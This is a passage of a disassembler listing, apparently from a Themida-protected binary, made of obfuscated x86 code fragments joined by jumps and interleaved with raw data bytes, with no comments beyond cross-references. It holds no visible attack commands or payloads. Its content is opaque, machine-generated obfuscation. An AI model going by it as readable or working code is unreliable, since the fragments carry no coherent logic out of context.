; ---------------------------------------------------------------------------

loc_536757:				; CODE XREF: Themida_:0053F7B6j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 114A03C8h
		push	esi
		mov	esi, 64096BEFh
		shr	esi, 5
		sub	esi, 0F1D68797h
		sub	ebp, esi
		jmp	loc_535F22
; ---------------------------------------------------------------------------
		db 53h,	0FFh, 74h
		dd 0E95B0424h, 97CAh, 311A392Dh, 68685779h, 89000045h
		dd 7BE9240Ch, 0FF00008Ch, 48B2434h, 8BE7E924h, 132D0000h
		dd 2D271C21h, 788A0F08h, 10CD72Dh, 6ABB5374h, 0E9271C6Fh
		dd 0FFFFFB9Fh
; ---------------------------------------------------------------------------

loc_5367C4:				; CODE XREF: Themida_:00538BBDj
		mov	ebp, 2C503BD9h
		add	ebx, ebp
		pop	ebp
		pop	edi
		push	dword ptr [eax]
		jmp	loc_535363
; ---------------------------------------------------------------------------

loc_5367D4:				; CODE XREF: Themida_:0053AD2Fj
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 32FC1BA4h
		add	[esp+4], edx
		pop	edx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		push	esi
		mov	esi, 292C736Bh
		push	eax
		mov	eax, 631B08E3h
		or	eax, 42702031h
		jmp	loc_53C3F7
; ---------------------------------------------------------------------------

loc_536812:				; CODE XREF: Themida_:0053A773j
		pop	edx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 643D5B6Fh
		mov	eax, 1CAA77F5h
		xor	eax, edi
		pop	edi
		push	ebx
		jmp	loc_537D83
; ---------------------------------------------------------------------------
		db 1
		dd 3C875EF7h, 815A5C24h, 4C2h, 2C28100h, 33000000h, 14312414h
		dd 24143324h, 60F9E95Ch, 0C4830000h, 0A5D4E904h, 0EE810000h
		dd 27EC6C9Bh, 4BD555Ah,	1000000h, 4EE95DEEh
		db 73h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_53686F:				; CODE XREF: Themida_:00540BCFj
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_539587
; ---------------------------------------------------------------------------

loc_53687A:				; CODE XREF: Themida_:0053C79Bj
		push	eax
		push	ecx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		mov	ecx, [esp]
		push	ebp
		jmp	loc_5377B4
; ---------------------------------------------------------------------------

loc_53688C:				; CODE XREF: Themida_:0053CFFBj
		mov	[esp], edi
		pop	eax
		mov	edi, [esp]
		jmp	loc_535F57
; ---------------------------------------------------------------------------
		dd 2801C681h, 92E9509Bh, 8B00007Ah, 0C4812434h,	4, 88BD5547h
		dd 311B9943h, 16FE9EFh,	34890000h, 685E5424h, 1EFBh, 55243C89h
		dd 0A80D50BDh, 0A91E97Ch, 0D5A0000h, 255701Dh, 87E8D005h
		dd 4389E9D9h, 48F0000h,	2C895C24h, 6367E924h, 0C8890000h
		dd 58C60159h, 55B7E9h, 0EA65E900h, 60E9FFFFh, 58FFFFEAh
		dd 0E924148Bh, 0A6DDh
; ---------------------------------------------------------------------------

loc_53690C:				; CODE XREF: Themida_:00538ABAj
		add	eax, ebx
		sub	eax, 6EAF77F2h
		sub	eax, 570425Eh
		jmp	loc_5355A7
; ---------------------------------------------------------------------------
		db 5Fh,	1, 0CDh
		dd 83240C8Bh, 0EC8304C4h, 24048904h, 468h, 97DFE900h, 48B0000h
		dd 0E1895124h, 4C181h, 8BE90000h, 0F700008Fh, 42B850DFh
		dd 0F720E57Bh, 0F7D8F7D0h, 48D8F7D0h, 37858905h, 58C701E9h
		dd 51B7EF81h, 0F7811558h, 94719D80h, 8AE9F901h,	81000000h
		dd 4C4h, 6E9C100h, 98DAE9h
		db 0
; ---------------------------------------------------------------------------

loc_536981:				; CODE XREF: Themida_:0053EBB4j
		pop	edx
		jmp	loc_538BC2
; ---------------------------------------------------------------------------

loc_536987:				; CODE XREF: Themida_:0053B250j
		add	esi, 9E88DDE2h
		xor	ebx, esi
		pop	esi
		dec	ebx
		push	edi
		mov	edi, 42F90856h
		not	edi
		and	edi, 236E3CAEh
		sub	edi, 57766922h
		jmp	loc_536297
; ---------------------------------------------------------------------------
word_5369AA	dw 34FFh		; DATA XREF: Themida_:00535280o
		dd 240C8B24h, 8104C483h, 4ECh, 240C8900h, 35CE9h, 9BE95F00h
		dd 88000058h, 3BDAE9CBh, 1590000h, 63BF57D5h, 5126902Ah
		dd 0CF5588B9h, 0F4C9813Ah, 81516D30h, 1303CBC1h, 0E9D1F701h
		dd 0FFFFFD5Ah
; ---------------------------------------------------------------------------

loc_5369F0:				; CODE XREF: Themida_:0053B860j
		push	ebp
		mov	ebp, edi
		mov	eax, ebp
		mov	ebp, [esp]
		jmp	loc_53EEE8
; ---------------------------------------------------------------------------
		db 5Fh,	83h, 0C1h
		dd 240C8704h, 0B951555Ch, 791B370Dh, 0E959CD89h, 0EA8h
		dd 5159CE01h, 853A8C68h, 0F181594Ah, 2EFB46E6h,	4DA7E9h
		dd 0D7F75D00h, 3240E9h
		db 0
; ---------------------------------------------------------------------------

loc_536A31:				; CODE XREF: Themida_:00539FABj
		pop	esp
		mov	[esp], ebx
		jmp	loc_53A087
; ---------------------------------------------------------------------------

loc_536A3A:				; CODE XREF: Themida_:0053A33Fj
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_540C13
; ---------------------------------------------------------------------------
		db 33h
		dd 34312434h, 24343324h, 242CD25Ch, 0E909E99Ch,	0EA81FFFFh
		dd 0FCE908D1h, 92FBE9h
		db 0
; ---------------------------------------------------------------------------

loc_536A65:				; CODE XREF: Themida_:0053A682j
		push	ebx
		mov	ebx, 2AAC70B5h
		xor	ecx, ebx
		jmp	loc_539261
; ---------------------------------------------------------------------------
		dw 4BEh
		dd 1000000h, 89565EF3h,	4C681E6h, 81000000h, 4EEh, 24348700h
		dd 243C895Ch, 2DD168h, 242C8900h, 0F55F3CBDh, 17BA5264h
		dd 816E9F7Dh, 5F0070C2h, 8AF2814Eh, 1A868C0h, 0EE95AD5h
		dd 81000012h, 4C4h, 4EC8300h, 0A4CEE9h,	8BDA0100h, 0C481241Ch
		dd 4, 0F113E952h, 0E952FFFFh, 0A9F8h
; ---------------------------------------------------------------------------

loc_536ADC:				; CODE XREF: Themida_:0053EFD9j
		and	ecx, eax
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_537A4E
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 0A145E9h
		db 0
; ---------------------------------------------------------------------------

loc_536AF1:				; CODE XREF: Themida_:0053B8F0j
		and	bh, 0
		inc	bh
		sub	bh, 0BAh
		xor	bh, 75h
		sub	cl, bh
		jmp	loc_53F5CD
; ---------------------------------------------------------------------------
		db 81h
		dd 5708246Ch, 293B7906h, 81082444h, 57082444h, 0E93B7906h
		dd 27A9h, 148BD189h, 4C48124h, 50000000h, 782497B8h, 0B5C18121h
		dd 0E924FE7Fh, 7D90h, 5AD7015Eh, 4BD55h, 0EF010000h, 243C875Dh
		dd 28BD2C5Ch, 2CE951D8h, 2D00006Bh, 771F469Ah, 47B9B951h
		dd 81414A61h, 0AB18DFE9h, 81D9F779h, 4B8852C1h,	713DE9EFh
		dd 535E0000h, 0E1243481h, 8B2ECF67h, 0C4812404h, 4, 0CF67E135h
		dd 1EE95B2Eh
		db 32h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_536B8F:				; CODE XREF: Themida_:00535605j
		push	ebx
		mov	bl, 86h
		jmp	loc_5395C6
; ---------------------------------------------------------------------------
		db 68h
		dd 0CCAh, 0BE243489h, 15D12CC7h, 43DBE9h, 0B8505800h, 679B5537h
		dd 0BC2DD0F7h, 0E9722050h, 76D4h
; ---------------------------------------------------------------------------

loc_536BBC:				; CODE XREF: Themida_:00536F6Cj
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_53BF7A
; ---------------------------------------------------------------------------
		dw 0E289h
		dd 4C281h, 0EA810000h, 4, 0E9241487h, 19D9h, 56E08950h
		dd 0E07624BEh, 4EE6D157h, 0B144EE81h, 0E3E9624Dh, 57000018h
		dd 0C781E789h, 4, 631AE9h
		db 0
; ---------------------------------------------------------------------------

loc_536C19:				; CODE XREF: Themida_:005353E6j
		not	edi
		xchg	edi, ecx
		inc	ecx
		jmp	loc_535C50
; ---------------------------------------------------------------------------

loc_536C23:				; CODE XREF: Themida_:0053DD41j
		add	ebx, 4
		jmp	loc_53FA94
; ---------------------------------------------------------------------------
		dw 1489h
aISt		db '$ˆÂét{',0
		align 4

loc_536C38:				; CODE XREF: Themida_:0053B6DFj
		mov	ebx, [esp]
		add	esp, 4
		pop	ecx
		and	eax, edi
		pop	edi
		or	eax, eax
		jz	loc_53F7DF
		push	dword ptr [edi+28h]
		jmp	loc_53E4F0
; ---------------------------------------------------------------------------
		dw 8159h
		dd 4C4h, 0C0B60F00h, 0E98734FFh, 2339h,	0E289525Fh, 7EEAE9h
		dd 0C2015B00h, 1E62C281h, 0EC834322h, 89A8E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_536C7E:				; CODE XREF: Themida_:0053878Cj
		add	edx, 4
		sub	edx, 4
		jmp	loc_5399DE
; ---------------------------------------------------------------------------
		db 55h
		dd 0FFF018E9h
		db 0FFh
byte_536C95	db 8Bh,	4, 24h		; DATA XREF: Themida_:00535124o
		dd 81E28952h, 4C2h, 4EA8300h, 8B99E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_536CAA:				; CODE XREF: Themida_:0053B026j
		mov	ebp, 282D440Ah
		jmp	loc_541383
; ---------------------------------------------------------------------------

loc_536CB4:				; CODE XREF: Themida_:0053866Aj
		pop	dword ptr [esp]
		pop	esp
		or	eax, eax
		jnz	loc_53F7DF
		push	52C3h
		jmp	loc_53966D
; ---------------------------------------------------------------------------

loc_536CCA:				; CODE XREF: Themida_:005404C5j
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	2F8Ch
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_53E475
; ---------------------------------------------------------------------------
		db 29h,	0EAh, 5Dh
		dd 45CFBB53h, 0CB8132B6h, 2D3C2964h, 0E3C1DBF7h, 0A5E905h
		dd 0E1890000h, 4C181h, 0E9810000h, 4, 5C240C87h, 0BF243C89h
		dd 4, 7CBFE9h, 68E18900h, 12CEh, 0BE243489h, 51D21EEDh
		dd 0D58CE81h, 0F6814D43h, 5DD31FF9h, 48F0BE56h,	33E94E81h
		dd 5900000Dh, 0B0CE955h, 895C0000h, 75B7241Ch, 74ABE952h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_536D56:				; CODE XREF: Themida_:0053A145j
		sub	esp, 4
		mov	[esp], esi
		push	663009B1h
		pop	esi
		jmp	loc_53E65D
; ---------------------------------------------------------------------------
		db 88h
		dd 0C8EE9EEh, 0ABF0000h, 0BB15C749h, 15C74908h,	15FFB31h
		dd 8E4DE9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_536D82:				; CODE XREF: Themida_:00536F8Ej
		sub	edx, 4D3A3FE5h
		jmp	loc_538DED
; ---------------------------------------------------------------------------
		db 0E9h, 0D1h, 0E5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_536D92:				; CODE XREF: Themida_:00541024j
		mov	ebp, 72846455h
		push	edi
		jmp	loc_53D49A
; ---------------------------------------------------------------------------

loc_536D9D:				; CODE XREF: Themida_:005362A9j
		pop	esi
		jmp	loc_5370EF
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0BEEB81D3h, 29F7B2A0h, 0C2835BDAh, 8C79E9FFh, 14870000h
		dd 0C3315C24h, 5184EA81h, 0B0E976EAh, 8100003Dh, 0D60F9CF6h
		dd 9B2DE965h, 515D0000h, 42474FFh, 87E7E9h
		db 0
; ---------------------------------------------------------------------------

loc_536DDD:				; CODE XREF: Themida_:005361EBj
		or	edx, 0C010CE6h
		sub	edx, 8178D68Eh
		sub	edi, edx
		pop	edx
		or	edx, edi
		pop	edi
		xor	edx, 56653393h
		neg	edx
		sub	edx, 7DF3A89Eh
		xor	edi, edx
		jmp	loc_53CBAA
; ---------------------------------------------------------------------------
		dd 240C895Ch, 0C1815954h, 4, 38BE5652h,	0E9727529h, 34CFh
; ---------------------------------------------------------------------------

loc_536E1C:				; CODE XREF: Themida_:00538D2Bj
		inc	ecx
		inc	ecx
		xchg	ebx, ecx
		jmp	loc_53C6A4
; ---------------------------------------------------------------------------

loc_536E25:				; CODE XREF: Themida_:0053B78Dj
		mov	esp, [esp]
		push	eax
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 5F1432E1h
		xor	edi, 6FDA250Eh
		sub	edi, 0DEA7B094h
		push	edi
		xor	dword ptr [esp], 48184652h
		pop	eax
		push	ebp
		jmp	loc_53EFF1
; ---------------------------------------------------------------------------
aFSsd		db 'f]é™d',0
		align 2
		dw 0D801h
		dd 1C0BE9h, 2FF28000h, 801AE280h, 0EA80A5EAh, 8BD0301Bh
		dd 0C4832414h, 0E9C28804h, 58E7h, 5055E689h, 5D2FE8B8h
		dd 0E2E94815h, 80FFFFF1h, 148B2CE9h, 4C48124h, 50000000h
		dd 8AE987B4h, 5B000078h, 488AE9h, 24248B00h, 0A047E9h
		dd 241C8900h, 241C8B54h, 4F5668h, 243C8900h, 0C781E789h
		dd 4, 4C781h, 76E90000h
		db 90h,	2 dup(0)
byte_536ECB	db 66h			; DATA XREF: Themida_:005350D8o
		dd 6824048Bh, 3AF1h, 89242C89h,	0E95057E5h, 0A17Fh, 5F665D66h
		dd 206E6866h, 242C8966h, 0ECDE9h, 24148B00h, 9A52E9h, 24248900h
		dd 4240483h, 83243C8Bh,	0E95104C4h, 2085h
; ---------------------------------------------------------------------------

loc_536F0C:				; CODE XREF: Themida_:0053BEABj
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_53734C
; ---------------------------------------------------------------------------
		db 58h
		dd 2C581h, 38E90000h, 5A000088h, 3EAC159h, 90E2E9h
		db 0
; ---------------------------------------------------------------------------

loc_536F2D:				; CODE XREF: Themida_:00540DBBj
		pop	eax
		add	ebp, esi
		pop	esi
		sub	ebp, 0FFFFFFFFh
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 11072FD8h
		push	edi
		mov	edi, 1B274422h
		xor	edi, 42F75817h
		inc	edi
		jmp	loc_53D7D5
; ---------------------------------------------------------------------------
		db 68h,	2Dh, 79h
		dd 0C890000h, 0EC28E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_536F5E:				; CODE XREF: Themida_:0053CCBEj
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], esi
		push	esp
		pop	esi
		jmp	loc_536BBC
; ---------------------------------------------------------------------------

loc_536F71:				; CODE XREF: Themida_:00539439j
		add	edx, 77266EEBh
		add	edx, eax
		sub	edx, 77266EEBh
		pop	eax
		push	eax
		mov	eax, 4
		add	edx, 4D3A3FE5h
		add	edx, eax
		jmp	loc_536D82
; ---------------------------------------------------------------------------
		db 43h
		dd 0E904E3C1h, 49BAh
; ---------------------------------------------------------------------------

loc_536F9C:				; CODE XREF: Themida_:0053710Aj
		add	esp, 4
		and	ebx, eax
		jmp	loc_5401EA
; ---------------------------------------------------------------------------
word_536FA6	dw 77FFh		; DATA XREF: Themida_:00535314o
		dd 59669D1Ch, 9C2414D3h, 0FFE3AEE9h, 0E98149FFh, 97D44D18h
		dd 5BE9CE01h, 89000080h, 0E95756E3h, 422Ch, 0DF98F781h
		dd 0F801BBE7h, 8D99E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_536FDA:				; CODE XREF: Themida_:0053F5D3j
		mov	ah, 22h
		sub	cl, ah
		mov	ax, [esp]
		add	esp, 2
		add	cl, 4Dh
		jmp	loc_53F61E
; ---------------------------------------------------------------------------

loc_536FED:				; CODE XREF: Themida_:00535879j
		add	ebx, 4
		jmp	loc_53D6DA
; ---------------------------------------------------------------------------

loc_536FF8:				; CODE XREF: Themida_:005402E6j
		or	ebx, 30876B1Bh
		shr	ebx, 2
		xor	ebx, 4FF41EDFh
		sub	ebx, 6C96372Dh
		dec	ebx
		sub	ebx, 0D6F23CCEh
		xor	ecx, ebx
		pop	ebx
		add	esi, ecx
		jmp	loc_540E41
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 1EA66CA4h, 8103E7C1h, 0CE5E85F7h, 8BFA01ABh
		db 3Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 0DD36D44h
		shr	eax, 4
		or	eax, 21176F22h
		shl	eax, 3
		sub	eax, 64AF4472h
		jmp	loc_538EEB
; ---------------------------------------------------------------------------

loc_537050:				; CODE XREF: Themida_:00537551j
		add	ch, 79h
		xor	al, ch
		mov	ecx, [esp]
		add	esp, 4
		add	dl, al
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_53C816
; ---------------------------------------------------------------------------
		db 29h
		dd 0FBFBE9DAh, 3489FFFFh, 3DADE924h, 4330000h, 24043124h
		dd 7C51E9h, 4EC8300h, 1644E9h, 89565A00h, 4EC83E6h, 0BA241489h
		dd 626F4D9Ch, 0C103E2C1h, 91E908EAh, 89000087h,	0EC81241Ch
		dd 4, 0E9241489h, 9CDDh
; ---------------------------------------------------------------------------

loc_5370B8:				; CODE XREF: Themida_:0053B542j
		sub	ecx, 50FEBD5Dh
		push	ebx
		push	edi
		mov	edi, ecx
		mov	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_53DA07
; ---------------------------------------------------------------------------
		dd 5DE9D088h, 89FFFFF4h, 0E6892434h, 4C681h, 0C0E90000h
		db 42h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5370EF:				; CODE XREF: Themida_:00536D9Ej
		shl	eax, 1
		add	eax, 0D801E7C2h
		sub	edi, eax
		pop	eax
		xor	ebx, edi
		pop	edi
		add	ebx, 6C72C13Ah
		sub	edi, ebx
		pop	ebx
		push	edi
		pop	eax
		mov	edi, [esp]
		jmp	loc_536F9C
; ---------------------------------------------------------------------------
		db 0BFh
		dd 18726215h, 5B5FFE01h, 4B951h, 0CE010000h, 81240C8Bh
		dd 4C4h, 74FF5600h, 8F5E0424h, 248B2404h, 68E9F724h, 7C8Eh
		dd 50241489h, 0E21DE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_537146:				; CODE XREF: Themida_:0053ACECj
		pop	edi
		mov	edi, esi
		pop	esi
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	edx
		jmp	loc_53D66B
; ---------------------------------------------------------------------------
		db 54h
		dd 0E92434FFh, 7697h, 1F11C381h, 0E9571982h, 0FFFFF07Ch
dword_537174	dd 240C8B66h, 835A5452h, 3C8904ECh, 81E78924h, 4C7h, 68EAE900h
					; DATA XREF: Themida_:005350DCo
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53718E:				; CODE XREF: Themida_:00539A0Fj
		push	ecx
		jmp	loc_53D4F6
; ---------------------------------------------------------------------------
		dd 5C241C87h, 28FCE9h
		db 0
; ---------------------------------------------------------------------------

loc_53719D:				; CODE XREF: Themida_:0053DAD5j
		mov	[esp], esp
		push	edi
		jmp	loc_538BE4
; ---------------------------------------------------------------------------
		dw 0DDBBh
		dd 0E938D33Ah, 120Dh, 24048F5Dh, 0C8B665Ch, 0EC835724h
		dd 422E904h, 0F75C0000h, 4107E9E1h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5371CA:				; CODE XREF: Themida_:0053E0F5j
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_53E2BC
; ---------------------------------------------------------------------------
byte_5371D5	db 0FFh, 34h, 24h	; DATA XREF: Themida_:005350ACo
		dd 52240C8Bh, 62EEE9h, 2C18300h, 2474FF51h, 240C8B04h
		dd 8F04C483h, 248B2404h, 24D36624h, 64E99C24h, 89FFFFE1h
		dd 0B850241Ch, 71161854h, 455C5505h, 58C3899Bh,	685BD829h
		dd 645Ah, 0B9240C89h, 1AD7673Fh, 189AE9h
		db 0
; ---------------------------------------------------------------------------

loc_537225:				; CODE XREF: Themida_:0053CA8Aj
		push	ebx
		mov	ebx, 27CC1F85h
		or	ebp, ebx
		pop	ebx
		jmp	loc_53E1CA
; ---------------------------------------------------------------------------
		db 81h
		dd 707D91C5h, 81FD0123h, 707D91EDh, 0C5E95F23h,	8100007Eh
		dd 4C4h, 21BE5600h, 57685906h, 0C73E4668h, 9A685F7Fh, 89000022h
		dd 0FCBE2434h, 0E9140818h, 0FFFFEBC1h, 5AD0315Dh, 6658C329h
		dd 0E8E930FFh
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53727B:				; CODE XREF: Themida_:0053A738j
		xchg	edi, [esp]
		pop	esp
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		pop	eax
		push	39BDh
		jmp	loc_53D551
; ---------------------------------------------------------------------------
a@5Ch@iSA	db '@5²cH@‰ÅéÓ€',0
		dd 0FEBE5600h, 0E915121Eh, 7FEAh, 0C4202AB8h, 58C22946h
		dd 0C281DA01h, 46C4202Ah, 2C2835Bh, 2474FF52h, 48F5A04h
		dd 24248B24h, 24048B66h, 598EE9h
		db 0
byte_5372D1	db 66h,	8Bh, 4		; DATA XREF: Themida_:005352CCo
aHd		db '$hD)',0
		align 2
		dw 0C89h
aTys		db '$TYé',27h,'"',0
		align 4
		dd 0E99C5166h, 0FFFFE077h, 0D80021B3h, 241C8B66h, 0FFEF29E9h
		dd 240C8BFFh, 5604C483h, 0C6815E54h, 4,	0A063E9h, 1685500h
		dd 89000027h, 2EB82404h, 571CF801h, 46FCBE56h, 0F78943C3h
		dd 5FF8015Eh, 0BD6AC935h, 0FF5EE93Dh, 0D1F6FFFFh, 0E334C886h
		dd 32EB80h, 32C380C3h, 0B2526658h, 0E9D32848h, 5983h
; ---------------------------------------------------------------------------

loc_53734C:				; CODE XREF: Themida_:00536F12j
		pop	esp
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_53A59C
; ---------------------------------------------------------------------------
		dd 335DEE01h, 66E92434h, 0BF00000Ah, 7CA80D54h,	575DEF31h
		dd 0C781E789h, 4, 0E904EF83h, 0FFFFE306h, 8AE0C581h, 0E901FBCFh
		dd 815CE95Dh, 0EC810000h, 4, 81242489h,	42404h,	42E90000h
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_53739F:				; CODE XREF: Themida_:0053DAE9j
		pop	esp
		mov	[esp], esi
		push	edx
		push	7A575BE4h
		pop	edx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 122A6C01h
		push	ebx
		jmp	loc_53AD90
; ---------------------------------------------------------------------------
word_5373BE	dw 8B66h		; DATA XREF: Themida_:005351D8o
		dd 0DBE9240Ch
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5373C7:				; CODE XREF: Themida_:00536155j
		mov	ecx, 470B002Fh
		sub	esi, ecx
		pop	ecx
		push	2374h
		mov	[esp], ebp
		push	eax
		mov	eax, 48175713h
		mov	ebp, eax
		pop	eax
		push	edi
		mov	edi, 35DF4330h
		xor	edi, 7DAE3923h
		sub	edi, 31EF196Fh
		jmp	loc_540210
; ---------------------------------------------------------------------------
		db 5Dh
		dd 11E9DE29h, 100005Bh,	5E042474h, 592434FFh, 0FFF6AAE9h
		dd 5C829FFh, 628F1D35h,	0E92434FFh, 7460h, 52240C8Bh, 0FAE9E289h
		dd 21FFFFE3h, 0E99C2404h, 0FFFFDF33h, 182F8E35h, 5C9F3564h
		dd 7E250C67h, 2D15056Bh, 35B90425h, 15445035h, 0D8022D6Dh
		dd 0C3214A48h, 67F38158h, 8904050Ah, 0F7015BDEh, 33EE95Eh
		dd 0E9560000h, 5485h, 5269C681h, 0F3015358h, 4C3815Eh
		dd 87000000h, 535C241Ch, 4BBh, 2FEE900h, 0E2C10000h, 94EA8103h
		dd 0E944993Ch, 4AA8h
dword_537494	dd 68D830ACh, 1A6h, 53241489h, 0B753B551h, 0E9EF3036h
					; DATA XREF: Themida_:0053514Co
		dd 787Bh, 5C240C33h, 0B6241489h, 3EC680A8h, 148BF030h
		dd 4C48124h, 56000000h,	0C681E689h, 4, 5A57B951h, 0D1F71A7Fh
		dd 5A5CC181h, 0CE291A7Fh, 8B65E9h
		db 0
byte_5374E1	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005352B8o
		dd 4EC8124h, 89000000h,	8B54243Ch, 0C483243Ch, 4B85004h
		dd 1000000h, 1C83E9C7h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_537502:				; CODE XREF: Themida_:0053CD6Dj
		mov	esp, [esp]
		jmp	loc_53F7DF
; ---------------------------------------------------------------------------
		dw 68h
		dd 59000000h, 188D101h,	68240C8Bh, 6854h, 0E9241C89h, 1214h
		dd 6704DD04h
		db 2Ch,	0B7h, 5Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], edx
		mov	dl, 7Fh
		inc	dl
		push	eax
		mov	al, 0E3h
		push	ecx
		mov	ch, 0E3h
		jmp	loc_537050
; ---------------------------------------------------------------------------

loc_537556:				; CODE XREF: Themida_:0054105Aj
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_53DD46
; ---------------------------------------------------------------------------
byte_537561	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00535228o
aVhyy		db '$VhyY',0
		dw 8900h
		dd 4832424h, 505E0424h,	4EC81h,	14890000h, 50E9BA24h, 0E9520337h
		dd 5E75h, 3824248Bh, 0D0E99CC1h, 68FFFFDDh, 17F2h, 3FD5E9h
		db 0
; ---------------------------------------------------------------------------

loc_53759D:				; CODE XREF: Themida_:0053AAD5j
		pop	edi
		add	ebx, eax
		jmp	loc_53B06B
; ---------------------------------------------------------------------------
		db 81h,	44h, 24h
		dd 4B5AA804h, 81595F14h, 4C1h, 69E95500h, 5A00007Eh, 510AB652h
		dd 0B11AB652h, 0FBE98007h, 5266F128h, 0D100FBB2h, 0B3E95A66h
		dd 5CFFFFE7h, 0E61E9h, 0E9F32900h, 96C1h, 83242489h, 5F042404h
		dd 63BB5356h, 430C9A09h, 0D3F7DBF7h, 0D8E9DBF7h, 51000096h
		dd 0C9800AB1h, 80D1F6CAh, 0C9FEE6E9h, 8018E180h, 0CE8818F1h
		dd 3D20E9h
		db 0
; ---------------------------------------------------------------------------

loc_537619:				; CODE XREF: Themida_:0053B095j
		sub	ecx, 2E332610h
		xor	ecx, 60C9542Fh
		xor	ecx, 242E3434h
		jmp	loc_536617
; ---------------------------------------------------------------------------
		dd 6600B4BBh, 70EB8174h, 0E938DF18h, 9011h, 8704C183h
		dd 248B240Ch, 2434FF24h, 0BAE9575Ah, 51FFFFE9h,	42474FFh
		dd 2894E9h
		db 0
; ---------------------------------------------------------------------------

loc_53765D:				; CODE XREF: Themida_:00539593j
		mov	ecx, 3A9D3F15h
		shl	ecx, 7
		shl	ecx, 7
		push	ebp
		mov	ebp, 195014BFh
		shr	ebp, 6
		inc	ebp
		add	ebp, 11A7B72h
		add	ebp, 5B07623Ah
		sub	ecx, ebp
		pop	ebp
		xor	ecx, 0F33E2205h
		jmp	loc_5356AC
; ---------------------------------------------------------------------------
		dd 0EC81E589h, 4, 68241C89h, 12C6h, 68242C89h, 607940FCh
		dd 5965E9h
		db 0
byte_5376A9	db 0FFh, 32h, 0E9h	; DATA XREF: Themida_:00535238o
		dd 0FFFFF6DDh, 0E9240489h, 0FFFFFEDBh, 30F28142h, 8125CC57h
		dd 479B23F2h, 0E8E4E945h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5376CA:				; CODE XREF: Themida_:00539B29j
		pop	edi
		or	esi, 3FD04200h
		neg	esi
		shl	esi, 1
		shr	esi, 7
		shr	esi, 6
		xor	esi, 0FCB11210h
		sub	ebp, 441F71CDh
		add	ebp, esi
		add	ebp, 441F71CDh
		pop	esi
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_53EB01
; ---------------------------------------------------------------------------
		dd offset loc_41C57D+4
aIasti		db 'ë€é’ˆ',0
		dw 5B00h
		dd 0FFDC4EE9h, 32C181FFh, 3148095Ah, 240C8BCBh,	81595451h
		dd 4C1h, 4C18100h, 87000000h, 248B240Ch, 11D9E924h, 0EC810000h
		dd 4, 0B9240C89h, 6F257BD1h, 739EC181h,	0E1C14C15h, 52E18107h
		dd 0F7172372h, 7CF181D1h, 51D1BC86h, 0FE31595Eh, 61C6815Fh
		dd 0D1545345h, 81D6F7E6h, 0A606C4F6h, 81DEF736h, 0E86134F6h
		dd 0E9F00160h, 4F4h, 1C8BD901h,	23BFE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53778E:				; CODE XREF: Themida_:0053DD78j
		add	esp, 4
		push	762Eh
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_53BB46
; ---------------------------------------------------------------------------
		dd 2474FF57h, 48F5F04h,	9665C24h, 0E99C2404h, 0FFFFDBAFh
; ---------------------------------------------------------------------------

loc_5377B4:				; CODE XREF: Themida_:00536887j
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_535402
; ---------------------------------------------------------------------------
byte_5377C1	db 68h,	21h, 0Dh	; DATA XREF: Themida_:00535284o
